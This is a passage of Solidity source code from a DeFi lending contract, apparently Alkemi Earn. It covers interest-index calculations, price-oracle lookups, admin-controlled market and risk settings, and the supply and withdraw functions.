borrowBalanceAccumulated, uint256 amountRepaid, address indexed liquidator, address assetCollateral, uint256 amountSeized ); /** * @dev emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address indexed oldAdmin, address indexed newAdmin); /** * @dev emitted when new market is supported by admin */ event SupportedMarket( address indexed asset, address indexed interestRateModel ); /** * @dev emitted when risk parameters are changed by admin */ event NewRiskParameters( uint256 oldCollateralRatioMantissa, uint256 newCollateralRatioMantissa, uint256 oldLiquidationDiscountMantissa, uint256 newLiquidationDiscountMantissa ); /** * @dev emitted when origination fee is changed by admin */ event NewOriginationFee( uint256 oldOriginationFeeMantissa, uint256 newOriginationFeeMantissa ); /** * @dev emitted when market has new interest rate model set */ event SetMarketInterestRateModel( address indexed asset, address indexed interestRateModel ); /** * @dev emitted when admin withdraws equity * Note that `equityAvailableBefore` indicates equity before `amount` was removed. */ event EquityWithdrawn( address indexed asset, uint256 equityAvailableBefore, uint256 amount, address indexed owner ); /** * @dev Simple function to calculate min between two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { if (a < b) { return a; } else { return b; } } /** * @dev Adds a given asset to the list of collateral markets. This operation is impossible to reverse. * Note: this will not add the asset if it already exists. */ function addCollateralMarket(address asset) internal { for (uint256 i = 0; i < collateralMarkets.length; i++) { if (collateralMarkets[i] == asset) { return; } } collateralMarkets.push(asset); } /** * @notice return the number of elements in `collateralMarkets` * @dev you can then externally call `collateralMarkets(uint)` to pull each market address * @return the length of `collateralMarkets` */ function getCollateralMarketsLength() public view returns (uint256) { return collateralMarkets.length; } /** * @dev Calculates a new supply/borrow index based on the prevailing interest rates applied over time * This is defined as `we multiply the most recent supply/borrow index by (1 + blocks times rate)` * @return Return value is expressed in 1e18 scale */ function calculateInterestIndex( uint256 startingInterestIndex, uint256 interestRateMantissa, uint256 blockStart, uint256 blockEnd ) internal pure returns (Error, uint256) { // Get the block delta (Error err0, uint256 blockDelta) = sub(blockEnd, blockStart); if (err0 != Error.NO_ERROR) { return (err0, 0); } // Scale the interest rate times number of blocks // Note: Doing Exp construction inline to avoid `CompilerError: Stack too deep, try removing local variables.` (Error err1, Exp memory blocksTimesRate) = mulScalar( Exp({mantissa: interestRateMantissa}), blockDelta ); if (err1 != Error.NO_ERROR) { return (err1, 0); } // Add one to that result (which is really Exp({mantissa: expScale}) which equals 1.0) (Error err2, Exp memory onePlusBlocksTimesRate) = addExp( blocksTimesRate, Exp({mantissa: mantissaOne}) ); if (err2 != Error.NO_ERROR) { return (err2, 0); } // Then scale that accumulated interest by the old interest index to get the new interest index (Error err3, Exp memory newInterestIndexExp) = mulScalar( onePlusBlocksTimesRate, startingInterestIndex ); if (err3 != Error.NO_ERROR) { return (err3, 0); } // Finally, truncate the interest index. This works only if interest index starts large enough // that is can be accurately represented with a whole number. return (Error.NO_ERROR, truncate(newInterestIndexExp)); } /** * @dev Calculates a new balance based on a previous balance and a pair of interest indices * This is defined as: `The user's last balance checkpoint is multiplied by the currentSupplyIndex * value and divided by the user's checkpoint index value` * @return Return value is expressed in 1e18 scale */ function calculateBalance( uint256 startingBalance, uint256 interestIndexStart, uint256 interestIndexEnd ) internal pure returns (Error, uint256) { if (startingBalance == 0) { // We are accumulating interest on any previous balance; if there's no previous balance, then there is // nothing to accumulate. return (Error.NO_ERROR, 0); } (Error err0, uint256 balanceTimesIndex) = mul( startingBalance, interestIndexEnd ); if (err0 != Error.NO_ERROR) { return (err0, 0); } return div(balanceTimesIndex, interestIndexStart); } /** * @dev Gets the price for the amount specified of the given asset. * @return Return value is expressed in a magnified scale per token decimals */ function getPriceForAssetAmount(address asset, uint256 assetAmount) internal view returns (Error, Exp memory) { (Error err, Exp memory assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } if (isZeroExp(assetPrice)) { return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0})); } return mulScalar(assetPrice, assetAmount); // assetAmountWei * oraclePrice = assetValueInEth } /** * @dev Gets the price for the amount specified of the given asset multiplied by the current * collateral ratio (i.e., assetAmountWei * collateralRatio * oraclePrice = totalValueInEth). * We will group this as `(oraclePrice * collateralRatio) * assetAmountWei` * @return Return value is expressed in a magnified scale per token decimals */ function getPriceForAssetAmountMulCollatRatio( address asset, uint256 assetAmount ) internal view returns (Error, Exp memory) { Error err; Exp memory assetPrice; Exp memory scaledPrice; (err, assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } if (isZeroExp(assetPrice)) { return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0})); } // Now, multiply the assetValue by the collateral ratio (err, scaledPrice) = mulExp(collateralRatio, assetPrice); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } // Get the price for the given asset amount return mulScalar(scaledPrice, assetAmount); } /** * @dev Calculates the origination fee added to a given borrowAmount * This is simply `(1 + originationFee) * borrowAmount` * @return Return value is expressed in 1e18 scale */ function calculateBorrowAmountWithFee(uint256 borrowAmount) internal view returns (Error, uint256) { // When origination fee is zero, the amount with fee is simply equal to the amount if (isZeroExp(originationFee)) { return (Error.NO_ERROR, borrowAmount); } (Error err0, Exp memory originationFeeFactor) = addExp( originationFee, Exp({mantissa: mantissaOne}) ); if (err0 != Error.NO_ERROR) { return (err0, 0); } (Error err1, Exp memory borrowAmountWithFee) = mulScalar( originationFeeFactor, borrowAmount ); if (err1 != Error.NO_ERROR) { return (err1, 0); } return (Error.NO_ERROR, truncate(borrowAmountWithFee)); } /** * @dev fetches the price of asset from the PriceOracle and converts it to Exp * @param asset asset whose price should be fetched * @return Return value is expressed in a magnified scale per token decimals */ function fetchAssetPrice(address asset) internal view returns (Error, Exp memory) { if (priceOracle == address(0)) { return (Error.ZERO_ORACLE_ADDRESS, Exp({mantissa: 0})); } if (priceOracle.paused()) { return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0})); } (uint256 priceMantissa, uint8 assetDecimals) = priceOracle .getAssetPrice(asset); (Error err, uint256 magnification) = sub(18, uint256(assetDecimals)); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } (err, priceMantissa) = mul(priceMantissa, 10**magnification); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } return (Error.NO_ERROR, Exp({mantissa: priceMantissa})); } /** * @notice Reads scaled price of specified asset from the price oracle * @dev Reads scaled price of specified asset from the price oracle. * The plural name is to match a previous storage mapping that this function replaced. * @param asset Asset whose price should be retrieved * @return 0 on an error or missing price, the price scaled by 1e18 otherwise */ function assetPrices(address asset) public view returns (uint256) { (Error err, Exp memory result) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return 0; } return result.mantissa; } /** * @dev Gets the amount of the specified asset given the specified Eth value * ethValue / oraclePrice = assetAmountWei * If there's no oraclePrice, this returns (Error.DIVISION_BY_ZERO, 0) * @return Return value is expressed in a magnified scale per token decimals */ function getAssetAmountForValue(address asset, Exp ethValue) internal view returns (Error, uint256) { Error err; Exp memory assetPrice; Exp memory assetAmount; (err, assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return (err, 0); } (err, assetAmount) = divExp(ethValue, assetPrice); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(assetAmount)); } /** * @notice Admin Functions. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin * @param newOracle New oracle address * @param requestedState value to assign to `paused` * @param originationFeeMantissa rational collateral ratio, scaled by 1e18. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _adminFunctions( address newPendingAdmin, address newOracle, bool requestedState, uint256 originationFeeMantissa, uint256 newCloseFactorMantissa ) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "SET_PENDING_ADMIN_OWNER_CHECK"); // newPendingAdmin can be 0x00, hence not checked require(newOracle != address(0), "Cannot set weth address to 0x00"); require( originationFeeMantissa < 10**18 && newCloseFactorMantissa < 10**18, "Invalid Origination Fee or Close Factor Mantissa" ); // Store pendingAdmin = newPendingAdmin pendingAdmin = newPendingAdmin; // Verify contract at newOracle address supports assetPrices call. // This will revert if it doesn't. // ChainLink priceOracleTemp = ChainLink(newOracle); // priceOracleTemp.getAssetPrice(address(0)); // Initialize the Chainlink contract in priceOracle priceOracle = ChainLink(newOracle); paused = requestedState; // Save current value so we can emit it in log. Exp memory oldOriginationFee = originationFee; originationFee = Exp({mantissa: originationFeeMantissa}); emit NewOriginationFee( oldOriginationFee.mantissa, originationFeeMantissa ); closeFactorMantissa = newCloseFactorMantissa; return uint256(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint256) { // Check caller = pendingAdmin // msg.sender can't be zero require(msg.sender == pendingAdmin, "ACCEPT_ADMIN_PENDING_ADMIN_CHECK"); // Save current value for inclusion in log address oldAdmin = admin; // Store admin = pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = 0; emit NewAdmin(oldAdmin, msg.sender); return uint256(Error.NO_ERROR); } /** * @notice returns the liquidity for given account. * a positive result indicates ability to borrow, whereas * a negative result indicates a shortfall which may be liquidated * @dev returns account liquidity in terms of eth-wei value, scaled by 1e18 and truncated when the value is 0 or when the last few decimals are 0 * note: this includes interest trued up on all balances * @param account the account to examine * @return signed integer in terms of eth-wei (negative indicates a shortfall) */ function getAccountLiquidity(address account) public view returns (int256) { ( Error err, Exp memory accountLiquidity, Exp memory accountShortfall ) = calculateAccountLiquidity(account); revertIfError(err); if (isZeroExp(accountLiquidity)) { return -1 * int256(truncate(accountShortfall)); } else { return int256(truncate(accountLiquidity)); } } /** * @notice return supply balance with any accumulated interest for `asset` belonging to `account` * @dev returns supply balance with any accumulated interest for `asset` belonging to `account` * @param account the account to examine * @param asset the market asset whose supply balance belonging to `account` should be checked * @return uint supply balance on success, throws on failed assertion otherwise */ function getSupplyBalance(address account, address asset) public view returns (uint256) { Error err; uint256 newSupplyIndex; uint256 userSupplyCurrent; Market storage market = markets[asset]; Balance storage supplyBalance = supplyBalances[account][asset]; // Calculate the newSupplyIndex, needed to calculate user's supplyCurrent (err, newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newSupplyIndex and stored principal to calculate the accumulated balance (err, userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, newSupplyIndex ); revertIfError(err); return userSupplyCurrent; } /** * @notice return borrow balance with any accumulated interest for `asset` belonging to `account` * @dev returns borrow balance with any accumulated interest for `asset` belonging to `account` * @param account the account to examine * @param asset the market asset whose borrow balance belonging to `account` should be checked * @return uint borrow balance on success, throws on failed assertion otherwise */ function getBorrowBalance(address account, address asset) public view returns (uint256) { Error err; uint256 newBorrowIndex; uint256 userBorrowCurrent; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[account][asset]; // Calculate the newBorrowIndex, needed to calculate user's borrowCurrent (err, newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newBorrowIndex and stored principal to calculate the accumulated balance (err, userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, newBorrowIndex ); revertIfError(err); return userBorrowCurrent; } /** * @notice Supports a given market (asset) for use * @dev Admin function to add support for a market * @param asset Asset to support; MUST already have a non-zero price set * @param interestRateModel InterestRateModel to use for the asset * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _supportMarket(address asset, InterestRateModel interestRateModel) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "SUPPORT_MARKET_OWNER_CHECK"); require(interestRateModel != address(0), "Rate Model cannot be 0x00"); // Hard cap on the maximum number of markets allowed require( collateralMarkets.length < 16, // 16 = MAXIMUM_NUMBER_OF_MARKETS_ALLOWED "Exceeding the max number of markets allowed" ); (Error err, Exp memory assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.SUPPORT_MARKET_FETCH_PRICE_FAILED); } if (isZeroExp(assetPrice)) { return fail( Error.ASSET_NOT_PRICED, FailureInfo.SUPPORT_MARKET_PRICE_CHECK ); } // Set the interest rate model to `modelAddress` markets[asset].interestRateModel = interestRateModel; // Append asset to collateralAssets if not set addCollateralMarket(asset); // Set market isSupported to true markets[asset].isSupported = true; // Default supply and borrow index to 1e18 if (markets[asset].supplyIndex == 0) { markets[asset].supplyIndex = initialInterestIndex; } if (markets[asset].borrowIndex == 0) { markets[asset].borrowIndex = initialInterestIndex; } emit SupportedMarket(asset, interestRateModel); return uint256(Error.NO_ERROR); } /** * @notice Suspends a given *supported* market (asset) from use. * Assets in this state do count for collateral, but users may only withdraw, payBorrow, * and liquidate the asset. The liquidate function no longer checks collateralization. * @dev Admin function to suspend a market * @param asset Asset to suspend * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _suspendMarket(address asset) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "SUSPEND_MARKET_OWNER_CHECK"); // If the market is not configured at all, we don't want to add any configuration for it. // If we find !markets[asset].isSupported then either the market is not configured at all, or it // has already been marked as unsupported. We can just return without doing anything. // Caller is responsible for knowing the difference between not-configured and already unsupported. if (!markets[asset].isSupported) { return uint256(Error.NO_ERROR); } // If we get here, we know market is configured and is supported, so set isSupported to false markets[asset].isSupported = false; return uint256(Error.NO_ERROR); } /** * @notice Sets the risk parameters: collateral ratio and liquidation discount * @dev Owner function to set the risk parameters * @param collateralRatioMantissa rational collateral ratio, scaled by 1e18. The de-scaled value must be >= 1.1 * @param liquidationDiscountMantissa rational liquidation discount, scaled by 1e18. The de-scaled value must be <= 0.1 and must be less than (descaled collateral ratio minus 1) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setRiskParameters( uint256 collateralRatioMantissa, uint256 liquidationDiscountMantissa ) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "SET_RISK_PARAMETERS_OWNER_CHECK"); // Input validations require( collateralRatioMantissa >= minimumCollateralRatioMantissa && liquidationDiscountMantissa <= maximumLiquidationDiscountMantissa, "Liquidation discount is more than max discount or collateral ratio is less than min ratio" ); Exp memory newCollateralRatio = Exp({ mantissa: collateralRatioMantissa }); Exp memory newLiquidationDiscount = Exp({ mantissa: liquidationDiscountMantissa }); Exp memory minimumCollateralRatio = Exp({ mantissa: minimumCollateralRatioMantissa }); Exp memory maximumLiquidationDiscount = Exp({ mantissa: maximumLiquidationDiscountMantissa }); Error err; Exp memory newLiquidationDiscountPlusOne; // Make sure new collateral ratio value is not below minimum value if (lessThanExp(newCollateralRatio, minimumCollateralRatio)) { return fail( Error.INVALID_COLLATERAL_RATIO, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // Make sure new liquidation discount does not exceed the maximum value, but reverse operands so we can use the // existing `lessThanExp` function rather than adding a `greaterThan` function to Exponential. if (lessThanExp(maximumLiquidationDiscount, newLiquidationDiscount)) { return fail( Error.INVALID_LIQUIDATION_DISCOUNT, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // C = L+1 is not allowed because it would cause division by zero error in `calculateDiscountedRepayToEvenAmount` // C < L+1 is not allowed because it would cause integer underflow error in `calculateDiscountedRepayToEvenAmount` (err, newLiquidationDiscountPlusOne) = addExp( newLiquidationDiscount, Exp({mantissa: mantissaOne}) ); assert(err == Error.NO_ERROR); // We already validated that newLiquidationDiscount does not approach overflow size if ( lessThanOrEqualExp( newCollateralRatio, newLiquidationDiscountPlusOne ) ) { return fail( Error.INVALID_COMBINED_RISK_PARAMETERS, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // Save current values so we can emit them in log. Exp memory oldCollateralRatio = collateralRatio; Exp memory oldLiquidationDiscount = liquidationDiscount; // Store new values collateralRatio = newCollateralRatio; liquidationDiscount = newLiquidationDiscount; emit NewRiskParameters( oldCollateralRatio.mantissa, collateralRatioMantissa, oldLiquidationDiscount.mantissa, liquidationDiscountMantissa ); return uint256(Error.NO_ERROR); } /** * @notice Sets the interest rate model for a given market * @dev Admin function to set interest rate model * @param asset Asset to support * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setMarketInterestRateModel( address asset, InterestRateModel interestRateModel ) public returns (uint256) { // Check caller = admin require( msg.sender == admin, "SET_MARKET_INTEREST_RATE_MODEL_OWNER_CHECK" ); require(interestRateModel != address(0), "Rate Model cannot be 0x00"); // Set the interest rate model to `modelAddress` markets[asset].interestRateModel = interestRateModel; emit SetMarketInterestRateModel(asset, interestRateModel); return uint256(Error.NO_ERROR); } /** * @notice withdraws `amount` of `asset` from equity for asset, as long as `amount` <= equity. Equity = cash + borrows - supply * @dev withdraws `amount` of `asset` from equity for asset, enforcing amount <= cash + borrows - supply * @param asset asset whose equity should be withdrawn * @param amount amount of equity to withdraw; must not exceed equity available * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _withdrawEquity(address asset, uint256 amount) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "EQUITY_WITHDRAWAL_MODEL_OWNER_CHECK"); // Check that amount is less than cash (from ERC-20 of self) plus borrows minus supply. // Get supply and borrows with interest accrued till the latest block ( uint256 supplyWithInterest, uint256 borrowWithInterest ) = getMarketBalances(asset); (Error err0, uint256 equity) = addThenSub( getCash(asset), borrowWithInterest, supplyWithInterest ); if (err0 != Error.NO_ERROR) { return fail(err0, FailureInfo.EQUITY_WITHDRAWAL_CALCULATE_EQUITY); } if (amount > equity) { return fail( Error.EQUITY_INSUFFICIENT_BALANCE, FailureInfo.EQUITY_WITHDRAWAL_AMOUNT_VALIDATION ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset out of the protocol to the admin Error err2 = doTransferOut(asset, admin, amount); if (err2 != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail( err2, FailureInfo.EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED ); } } else { withdrawEther(admin, amount); // send Ether to user } (, markets[asset].supplyRateMantissa) = markets[asset] .interestRateModel .getSupplyRate( asset, getCash(asset) - amount, markets[asset].totalSupply ); (, markets[asset].borrowRateMantissa) = markets[asset] .interestRateModel .getBorrowRate( asset, getCash(asset) - amount, markets[asset].totalBorrows ); //event EquityWithdrawn(address asset, uint equityAvailableBefore, uint amount, address owner) emit EquityWithdrawn(asset, equity, amount, admin); return uint256(Error.NO_ERROR); // success } /** * @dev Set WETH token contract address * @param wethContractAddress Enter the WETH token address */ function setWethAddress(address wethContractAddress) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "SET_WETH_ADDRESS_ADMIN_CHECK_FAILED"); require( wethContractAddress != address(0), "Cannot set weth address to 0x00" ); wethAddress = wethContractAddress; WETHContract = AlkemiWETH(wethAddress); return uint256(Error.NO_ERROR); } /** * @dev Convert Ether supplied by user into WETH tokens and then supply corresponding WETH to user * @return errors if any * @param etherAmount Amount of ether to be converted to WETH * @param user User account address */ function supplyEther(address user, uint256 etherAmount) internal returns (uint256) { user; // To silence the warning of unused local variable if (wethAddress != address(0)) { WETHContract.deposit.value(etherAmount)(); return uint256(Error.NO_ERROR); } else { return uint256(Error.WETH_ADDRESS_NOT_SET_ERROR); } } /** * @dev Revert Ether paid by user back to user's account in case transaction fails due to some other reason * @param etherAmount Amount of ether to be sent back to user * @param user User account address */ function revertEtherToUser(address user, uint256 etherAmount) internal { if (etherAmount > 0) { user.transfer(etherAmount); } } /** * @notice supply `amount` of `asset` (which must be supported) to `msg.sender` in the protocol * @dev add amount of supported asset to msg.sender's account * @param asset The market asset to supply * @param amount The amount to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function supply(address asset, uint256 amount) public payable nonReentrant returns (uint256) { if (paused) { revertEtherToUser(msg.sender, msg.value); return fail(Error.CONTRACT_PAUSED, FailureInfo.SUPPLY_CONTRACT_PAUSED); } refreshAlkSupplyIndex(asset, msg.sender, false); Market storage market = markets[asset]; Balance storage balance = supplyBalances[msg.sender][asset]; SupplyLocalVars memory localResults; // Holds all our uint calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls // Fail if market not supported if (!market.isSupported) { revertEtherToUser(msg.sender, msg.value); return fail( Error.MARKET_NOT_SUPPORTED, FailureInfo.SUPPLY_MARKET_NOT_SUPPORTED ); } if (asset != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically // Fail gracefully if asset is not approved or has insufficient balance revertEtherToUser(msg.sender, msg.value); err = checkTransferIn(asset, msg.sender, amount); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_NOT_POSSIBLE); } } // We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (err, localResults.userSupplyCurrent) = calculateBalance( balance.principal, balance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } (err, localResults.userSupplyUpdated) = add( localResults.userSupplyCurrent, amount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply (err, localResults.newTotalSupply) = addThenSub( market.totalSupply, localResults.userSupplyUpdated, balance.principal ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED ); } // We need to calculate what the updated cash will be after we transfer in from user localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = add(localResults.currentCash, amount); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } // We calculate the newBorrowIndex (we already had newSupplyIndex) (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalSupply = localResults.newTotalSupply; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event balance.principal = localResults.userSupplyUpdated; balance.interestIndex = localResults.newSupplyIndex; if (asset != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) revertEtherToUser(msg.sender, msg.value); err = doTransferIn(asset, msg.sender, amount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED); } } else { if (msg.value == amount) { uint256 supplyError = supplyEther(msg.sender, msg.value); if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } emit SupplyReceived( msg.sender, asset, amount, localResults.startingBalance, balance.principal ); return uint256(Error.NO_ERROR); // success } /** * @notice withdraw `amount` of `ether` from sender's account to sender's address * @dev withdraw `amount` of `ether` from msg.sender's account to msg.sender * @param etherAmount Amount of ether to be converted to WETH * @param user User account address */ function withdrawEther(address user, uint256 etherAmount) internal returns (uint256) { WETHContract.withdraw(user, etherAmount); return uint256(Error.NO_ERROR); } /** * @notice withdraw `amount` of `asset` from sender's account to sender's address * @dev withdraw `amount` of `asset` from msg.sender's account to msg.sender * @param asset The market asset to withdraw * @param requestedAmount The amount to withdraw (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function withdraw(address asset, uint256 requestedAmount) public nonReentrant returns (uint256) { if (paused) { return fail( Error.CONTRACT_PAUSED, FailureInfo.WITHDRAW_CONTRACT_PAUSED ); } refreshAlkSupplyIndex(asset, msg.sender, false); Market storage market = markets[asset]; Balance storage supplyBalance = supplyBalances[msg.sender][asset]; WithdrawLocalVars memory localResults; // Holds all our calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls // We calculate the user's accountLiquidity and accountShortfall. ( err, localResults.accountLiquidity, localResults.accountShortfall ) = calculateAccountLiquidity(msg.sender); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED ); } // We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (err, localResults.userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } // If the user specifies -1 amount to withdraw ("max"), withdrawAmount => the lesser of withdrawCapacity and supplyCurrent if (requestedAmount == uint256(-1)) { (err, localResults.withdrawCapacity) = getAssetAmountForValue( asset, localResults.accountLiquidity ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.WITHDRAW_CAPACITY_CALCULATION_FAILED); } localResults.withdrawAmount = min( localResults.withdrawCapacity, localResults.userSupplyCurrent ); } else { localResults.withdrawAmount = requestedAmount; } // From here on we should NOT use requestedAmount. // Fail gracefully if protocol has insufficient cash // If protocol has insufficient cash, the sub operation will underflow. localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = sub( localResults.currentCash, localResults.withdrawAmount ); if (err != Error.NO_ERROR) { return fail( Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE ); } // We check that the amount is less than or equal to supplyCurrent // If amount is greater than supplyCurrent, this will fail with Error.INTEGER_UNDERFLOW (err, localResults.userSupplyUpdated) = sub( localResults.userSupplyCurrent, localResults.withdrawAmount ); if (err != Error.NO_ERROR) { return fail( Error.INSUFFICIENT_BALANCE, FailureInfo.WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // Fail if customer already has a shortfall if (!isZeroExp(localResults.accountShortfall)) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_ACCOUNT_SHORTFALL_PRESENT ); } // We want to know the user's withdrawCapacity, denominated in the asset // Customer's withdrawCapacity of asset is (accountLiquidity in Eth)/ (price of asset in Eth) // Equivalently, we calculate the eth value of the withdrawal amount and compare it directly to the accountLiquidity in Eth (err, localResults.ethValueOfWithdrawal) = getPriceForAssetAmount( asset, localResults.withdrawAmount ); // amount * oraclePrice = ethValueOfWithdrawal if (err != Error.NO_ERROR) { return fail(err, FailureInfo.WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED); } // We check that the amount is less than withdrawCapacity (here), and less than or equal to supplyCurrent (below) if ( lessThanExp( localResults.accountLiquidity, localResults.ethValueOfWithdrawal ) ) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL ); } // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply. // Note that, even though the customer is withdrawing, if they've accumulated a lot of interest since their last // action, the updated balance *could* be higher than the prior checkpointed balance. (err, localResults.newTotalSupply) = addThenSub( market.totalSupply, localResults.userSupplyUpdated, supplyBalance.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. (rateCalculationResultCode, 